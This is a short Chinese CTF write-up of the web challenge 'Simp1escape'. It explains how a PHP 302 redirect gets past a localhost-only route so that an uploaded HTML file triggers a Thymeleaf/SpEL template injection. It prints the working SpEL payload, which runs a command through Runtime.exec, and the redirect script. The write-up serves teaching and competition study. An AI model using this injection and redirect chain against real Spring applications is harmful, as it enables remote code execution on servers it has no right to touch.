24红明谷杯-web-Simp1escape

文章讲述了在比赛环境中,通过分析代码中的/curl和/getsites路由,利用HTML文件注入实现模板注入,进而利用服务器对127.0.0.1的限制,通过PHP脚本实现命令执行(RCE)漏洞。作者展示了如何在VPS上存储payload并触发漏洞的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

赛后才看的这道题,不知道跟赛题环境有没有区别。

代码分析

有两个有用的路由,/curl和/getsites,/curl用于请求非私有url并将内容保存至resources/sites/目录,/getsites可以加载模版,但是有限制必须是从127.0.0.1访问才行。
到这里其实思路很明显,上传html文件打模版注入,利用跳转绕过私有ip限制触发漏洞。
在这里插入图片描述
在这里插入图片描述

利用

将文件保存在vps上。
payload

[[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('open -a qq')").getValue()}]]

302

<?php
 header("Location:http://127.0.0.1:8080/getsites?hostname=ip"); 
?>

此时会生成一个以自己ip命名的html文件。
在这里插入图片描述
利用跳转触发漏洞后rce。
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值